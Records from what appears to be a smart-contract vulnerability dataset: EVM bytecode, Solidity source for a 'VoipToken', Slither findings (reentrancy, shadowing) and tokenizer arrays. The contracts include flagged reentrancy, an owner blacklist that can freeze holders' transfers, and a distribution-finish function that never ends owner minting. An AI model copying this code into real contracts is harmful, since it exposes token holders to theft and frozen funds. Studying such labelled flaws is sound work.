d565b6005546001600160a01b03908116911614610b4b576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b601080546001600160a01b0319166001600160a01b0392909216919091179055565b600a5481565b6000610b808484846119ad565b610bf084610b8c6118bd565b610beb856040518060600160405280602881526020016125f8602891396001600160a01b038a16600090815260016020526040812090610bca6118bd565b6001600160a01b031681526020810191909152604001600020549190611ee4565b6118c1565b5060019392505050565b610c026118bd565b6005546001600160a01b03908116911614610c52576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526015602052604090205460ff1615158115151415610cb05760405162461bcd60e51b81526004018080602001828103825260228152602001806125b56022913960400191505060405180910390fd5b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b601354610100900460ff1681565b600990565b6000610acb610cfb6118bd565b84610beb8560016000610d0c6118bd565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611863565b6011546001600160a01b031681565b61dead81565b60146020526000908152604090205460ff1681565b610d6e6118bd565b6005546001600160a01b03908116911614610dbe576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b633b9aca0002600d55565b610dd16118bd565b6005546001600160a01b03908116911614610e21576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b633b9aca0002600e55565b600f5481565b610e3a6118bd565b6005546001600160a01b03908116911614610e8a576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b600791909155600955565b600b5481565b6001600160a01b031660009081526020819052604090205490565b610ebe6118bd565b6005546001600160a01b03908116911614610f0e576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b610f606118bd565b6005546001600160a01b03908116911614610fb0576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b601354610100900460ff161561100d576040805162461bcd60e51b815260206004820152601c60248201527f436f6e747261637420697320616c7265616479206c61756e6368656400000000604482015290519081900360640190fd5b6013805461ff00191661010017905543601255565b61102a6118bd565b6005546001600160a01b0390811691161461107a576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b633b9aca0002600f55565b600e5481565b600d5481565b6005546001600160a01b031690565b60095481565b6010546001600160a01b031681565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610aad5780601f10610a8257610100808354040283529160200191610aad565b61111e6118bd565b6005546001600160a01b0390811691161461116e576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526017602052604090205460ff16156111dc576040805162461bcd60e51b815260206004820152601e60248201527f426c61636b6c6973743a20416c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6011546001600160a01b0382811691161415611237576040805162461bcd60e51b815260206004820152601560248201527421b0b73737ba10313630b1b5b634b9ba103830b4b960591b604482015290519081900360640190fd5b611242816001611f7b565b50565b6000610acb6112526118bd565b84610beb856040518060600160405280602581526020016126d0602591396001600061127c6118bd565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611ee4565b6000610acb6112ba6118bd565b84846119ad565b600c5481565b60166020526000908152604090205460ff1681565b60156020526000908152604090205460ff1681565b6112f96118bd565b6005546001600160a01b03908116911614611349576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526014602052604090205460ff16151581151514156113bd576040805162461bcd60e51b815260206004820152601f60248201527f466565733a20416c72656164792073657420746f20746869732076616c756500604482015290519081900360640190fd5b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6113f06118bd565b6005546001600160a01b03908116911614611440576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b61144a82826112f1565b6114548282610bfa565b61145e828261148d565b5050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6114956118bd565b6005546001600160a01b039081169116146114e5576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526016602052604090205460ff16151581151514156115435760405162461bcd60e51b81526004018080602001828103825260268152602001806126aa6026913960400191505060405180910390fd5b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b60085481565b61157c6118bd565b6005546001600160a01b039081169116146115cc576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526017602052604090205460ff16611639576040805162461bcd60e51b815260206004820152601a60248201527f426c61636b6c6973743a204e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b611242816000611f7b565b60065481565b6116526118bd565b6005546001600160a01b039081169116146116a2576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b6001600160a01b0381166116e75760405162461bcd60e51b81526004018080602001828103825260268152602001806125476026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b6117516118bd565b6005546001600160a01b039081169116146117a1576040805162461bcd60e51b81526020600482018190526024820152600080516020612620833981519152604482015290519081900360640190fd5b600691909155600855565b60176020526000908152604090205460ff1681565b6000826117d057506000610acf565b828202828482816117dd57fe5b041461181a5760405162461bcd60e51b81526004018080602001828103825260218152602001806125d76021913960400191505060405180910390fd5b9392505050565b600061181a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fa6565b60008282018381101561181a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b6001600160a01b0383166119065760405162461bcd60e51b81526004018080602001828103825260248152602001806126866024913960400191505060405180910390fd5b6001600160a01b03821661194b5760405162461bcd60e51b815260040180806020018281038252602281526020018061256d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611a08576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b038216611a63576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b600e5481111580611a8c57506001600160a01b03831660009081526015602052604090205460ff165b80611aaf57506001600160a01b03821660009081526015602052604090205460ff165b611af6576040805162461bcd60e51b8152602060048201526013602482015272547820416d6f756e7420746f6f206c6172676560681b604482015290519081900360640190fd5b600f54611b0c82611b0685610e9b565b90611863565b111580611b3157506001600160a01b03821660009081526016602052604090205460ff165b611b6c5760405162461bcd60e51b81526004018080602001828103825260218152602001806126406021913960400191505060405180910390fd5b601354610100900460ff1680611b9a57506001600160a01b03831660009081526014602052604090205460ff165b80611bbd57506001600160a01b03821660009081526014602052604090205460ff165b611c03576040805162461bcd60e51b815260206004820152601260248201527157616974696e6720746f20676f206c69766560701b604482015290519081900360640190fd5b6001600160a01b03831660009081526017602052604090205460ff1615611c69576040805162461bcd60e51b815260206004820152601560248201527414d95b99195c881a5cc8189b1858dadb1a5cdd1959605a1b604482015290519081900360640190fd5b80611c7f57611c7a8383600061200b565b611edf565b600b54600a54600d546011549190920191821015906001600160a01b03868116911614801590611cac5750805b8015611cbb575060135460ff16155b15611ce5576013805460ff19166001179055611cd682612166565b6013805460ff19169055611d55565b6011546001600160a01b038681169116148015611d1057506011546001600160a01b03858116911614155b8015611d20575060125460040143105b8015611d4557506001600160a01b03841660009081526014602052604090205460ff16155b15611d5557611d55846001611f7b565b6013546001600160a01b03861660009081526014602052604090205460ff91821615911680611d9c57506001600160a01b03851660009081526014602052604090205460ff165b15611da5575060005b8015611ed0576011546000906001600160a01b0387811691161415611e48576000611ddd60095460075461186390919063ffffffff16565b9050611df46064611dee88846117c1565b90611821565b9150611e1b611e1282611dee600754866117c190919063ffffffff16565b600a5490611863565b600a55600954611e3f90611e36908390611dee9086906117c1565b600b5490611863565b600b5550611eb0565b6000611e6160085460065461186390919063ffffffff16565b9050611e726064611dee88846117c1565b9150611e90611e1282611dee600654866117c190919063ffffffff16565b600a55600854611eab90611e36908390611dee9086906117c1565b600b55505b8015611ece57611ec187308361200b565b611ecb858261226c565b94505b505b611edb86868661200b565b5050505b505050565b60008184841115611f735760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f38578181015183820152602001611f20565b50505050905090810190601f168015611f655780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b60008183611ff55760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611f38578181015183820152602001611f20565b50600083858161200157fe5b0495945050505050565b6001600160a01b0383166120505760405162461bcd60e51b81526004018080602001828103825260258152602001806126616025913960400191505060405180910390fd5b6001600160a01b0382166120955760405162461bcd60e51b81526004018080602001828103825260238152602001806125246023913960400191505060405180910390fd5b6120a0838383611edf565b6120dd8160405180606001604052806026815260200161258f602691396001600160a01b0386166000908152602081905260409020549190611ee4565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461210c9082611863565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000600d549050600061218d6002611dee85611dee600a54876117c190919063ffffffff16565b905060006121a58261219f858261226c565b9061226c565b905060006121b3848461226c565b90506121be816122ae565b4760006121cf83611dee84876117c1565b905060006121dd838361226c565b90506121f66121ed8760026117c1565b600a549061226c565b600a5561221a61221161220a8860026117c1565b899061226c565b600b549061226c565b600b556010546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612257573d6000803e3d6000fd5b50612262868261247a565b5050505050505050565b600061181a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ee4565b604080516002808252606080830184529260208301908036833701905050905030816000815181106122dc57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234957600080fd5b505afa15801561235d573d6000803e3d6000fd5b505050506040513d602081101561237357600080fd5b505181518290600190811061238457fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561243d578181015183820152602001612425565b505050509050019650505050505050600060405180830381600087803b15801561246657600080fd5b505af1158015611edb573d6000803e3d6000fd5b6040805163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991849160c48082019260609290919082900301818588803b1580156124f257600080fd5b505af1158015612506573d6000803e3d6000fd5b50505050506040513d606081101561251d57600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636554784c696d69743a20416c72656164792073657420746f20746869732076616c7565536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e736665722077696c6c206578636565642077616c6c6574206c696d697445524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357616c6c65744c696d69743a20416c72656164792073657420746f20746869732076616c756545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220539d0e49bdf462f53542af239b9dbdd970bad1049a8d79984158b8c19d7d0e3864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2278, 22022, 23777, 20952, 20952, 2278, 2629, 2546, 2683, 23777, 2497, 16068, 2620, 2094, 21486, 2683, 2509, 3540, 2063, 2581, 2546, 2549, 2094, 2683, 2683, 28154, 2692, 2475, 1013, 1008, 1050, 6199, 3007, 1002, 1050, 6199, 2278, 4037, 1024, 16770, 1024, 1013, 1013, 2512, 11263, 3070, 7028, 2015, 1012, 3007, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 1050, 6199, 17695, 18400, 2121, 2278, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,693
0x958Ce508544A407aC4aa46d431C03eDeD845Fe1d
pragma solidity ^0.4.18; /** * @title SafeMath */ library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract AltcoinToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract VoipToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = "Voip Token"; string public constant symbol = "VOIP"; uint public constant decimals = 8; uint256 public totalSupply = 20000000000e8; uint256 public totalDistributed = 0; uint256 public tokensPerEth = 30000000e8; uint256 public constant minContribution = 1 ether / 100; // 0.01 Ether event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function VoipToken () public { owner = msg.sender; uint256 devTokens = 2000000000e8; distr(owner, devTokens); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = false; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; require( msg.value >= minContribution ); require( msg.value > 0 ); tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ AltcoinToken t = AltcoinToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawAltcoinTokens(address _tokenContract) onlyOwner public returns (bool) { AltcoinToken token = AltcoinToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x6060604052600436106101195763ffffffff60e060020a60003504166306fdde038114610123578063095ea7b3146101ad57806318160ddd146101e35780632195845f1461020857806323b872dd14610227578063313ce5671461024f5780633ccfd60b1461026257806342966c68146102755780634a63464d1461028b57806367220fd7146102ad57806370a08231146102fe57806395d89b411461031d5780639b1cbccc146103305780639ea407be14610343578063a9059cbb14610359578063aa6ca80814610119578063aaffadf31461037b578063c108d5421461038e578063c489744b146103a1578063cbdd69b5146103c6578063dd62ed3e146103d9578063efca2eed146103fe578063f2fde38b14610411575b610121610430565b005b341561012e57600080fd5b6101366104c8565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017257808201518382015260200161015a565b50505050905090810190601f16801561019f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b857600080fd5b6101cf600160a060020a03600435166024356104ff565b604051901515815260200160405180910390f35b34156101ee57600080fd5b6101f66105ab565b60405190815260200160405180910390f35b341561021357600080fd5b6101cf600160a060020a03600435166105b1565b341561023257600080fd5b6101cf600160a060020a03600435811690602435166044356106b5565b341561025a57600080fd5b6101f6610833565b341561026d57600080fd5b610121610838565b341561028057600080fd5b610121600435610894565b341561029657600080fd5b610121600160a060020a0360043516602435610982565b34156102b857600080fd5b610121600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506109a792505050565b341561030957600080fd5b6101f6600160a060020a03600435166109fe565b341561032857600080fd5b610136610a19565b341561033b57600080fd5b6101cf610a50565b341561034e57600080fd5b610121600435610aba565b341561036457600080fd5b6101cf600160a060020a0360043516602435610b10565b341561038657600080fd5b6101f6610c07565b341561039957600080fd5b6101cf610c12565b34156103ac57600080fd5b6101f6600160a060020a0360043581169060243516610c1b565b34156103d157600080fd5b6101f6610c8c565b34156103e457600080fd5b6101f6600160a060020a0360043581169060243516610c92565b341561040957600080fd5b6101f6610cbd565b341561041c57600080fd5b610121600160a060020a0360043516610cc3565b600754600090819060ff161561044557600080fd5b60009150662386f26fc1000034101561045d57600080fd5b6000341161046a57600080fd5b600654670de0b6b3a764000090610487903463ffffffff610d1916565b81151561049057fe5b04915033905060008211156104ab576104a98183610d42565b505b600454600554106104c4576007805460ff191660011790555b5050565b60408051908101604052600a81527f566f697020546f6b656e00000000000000000000000000000000000000000000602082015281565b600081158015906105345750600160a060020a0333811660009081526003602090815260408083209387168352929052205415155b15610541575060006105a5565b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60045481565b6001546000908190819033600160a060020a039081169116146105d357600080fd5b83915081600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561062457600080fd5b5af1151561063157600080fd5b5050506040518051600154909250600160a060020a03808516925063a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561069757600080fd5b5af115156106a457600080fd5b505050604051805195945050505050565b6000606060643610156106c457fe5b600160a060020a03841615156106d957600080fd5b600160a060020a0385166000908152600260205260409020548311156106fe57600080fd5b600160a060020a038086166000908152600360209081526040808320339094168352929052205483111561073157600080fd5b600160a060020a03851660009081526002602052604090205461075a908463ffffffff610e1c16565b600160a060020a038087166000908152600260209081526040808320949094556003815283822033909316825291909152205461079d908463ffffffff610e1c16565b600160a060020a03808716600090815260036020908152604080832033851684528252808320949094559187168152600290915220546107e3908463ffffffff610e2e16565b600160a060020a0380861660008181526002602052604090819020939093559190871690600080516020610f508339815191529086905190815260200160405180910390a3506001949350505050565b600881565b600154600090819033600160a060020a0390811691161461085857600080fd5b50506001543090600160a060020a0380831631911681156108fc0282604051600060405180830381858888f1935050505015156104c457600080fd5b60015460009033600160a060020a039081169116146108b257600080fd5b600160a060020a0333166000908152600260205260409020548211156108d757600080fd5b5033600160a060020a0381166000908152600260205260409020546108fc9083610e1c565b600160a060020a038216600090815260026020526040902055600454610928908363ffffffff610e1c16565b60045560055461093e908363ffffffff610e1c16565b600555600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60015433600160a060020a0390811691161461099d57600080fd5b6104c48282610e3b565b60015460009033600160a060020a039081169116146109c557600080fd5b5060005b82518110156109f9576109f18382815181106109e157fe5b9060200190602002015183610e3b565b6001016109c9565b505050565b600160a060020a031660009081526002602052604090205490565b60408051908101604052600481527f564f495000000000000000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a03908116911614610a6e57600080fd5b60075460ff1615610a7e57600080fd5b6007805460ff191690557f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a150600190565b60015433600160a060020a03908116911614610ad557600080fd5b60068190557ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0038160405190815260200160405180910390a150565b600060406044361015610b1f57fe5b600160a060020a0384161515610b3457600080fd5b600160a060020a033316600090815260026020526040902054831115610b5957600080fd5b600160a060020a033316600090815260026020526040902054610b82908463ffffffff610e1c16565b600160a060020a033381166000908152600260205260408082209390935590861681522054610bb7908463ffffffff610e2e16565b600160a060020a038086166000818152600260205260409081902093909355913390911690600080516020610f508339815191529086905190815260200160405180910390a35060019392505050565b662386f26fc1000081565b60075460ff1681565b60008281600160a060020a0382166370a082318560405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c6d57600080fd5b5af11515610c7a57600080fd5b50505060405180519695505050505050565b60065481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60055481565b60015433600160a060020a03908116911614610cde57600080fd5b600160a060020a03811615610d16576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000821515610d2a575060006105a5565b50818102818382811515610d3a57fe5b04146105a557fe5b60075460009060ff1615610d5557600080fd5b600554610d68908363ffffffff610e2e16565b600555600160a060020a038316600090815260026020526040902054610d94908363ffffffff610e2e16565b600160a060020a0384166000818152600260205260409081902092909255907f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a779084905190815260200160405180910390a2600160a060020a0383166000600080516020610f508339815191528460405190815260200160405180910390a350600192915050565b600082821115610e2857fe5b50900390565b818101828110156105a557fe5b60008111610e4857600080fd5b60045460055410610e5857600080fd5b600160a060020a038216600090815260026020526040902054610e81908263ffffffff610e2e16565b600160a060020a038316600090815260026020526040902055600554610ead908263ffffffff610e2e16565b60058190556004549010610ec9576007805460ff191660011790555b600160a060020a03821660008181526002602052604090819020547fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272918491905191825260208201526040908101905180910390a2600160a060020a0382166000600080516020610f508339815191528360405190815260200160405180910390a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582002a75a7b490ba3ac0da7a8989b5799501912f3940b912685a68f2d333c979c5b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'shadowing-abstract', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 27814, 3401, 12376, 27531, 22932, 2050, 12740, 2581, 6305, 2549, 11057, 21472, 2094, 23777, 2487, 2278, 2692, 2509, 19082, 2620, 19961, 7959, 2487, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,694
0x958d5b42709911f0064C374961878C87b27c1A6c
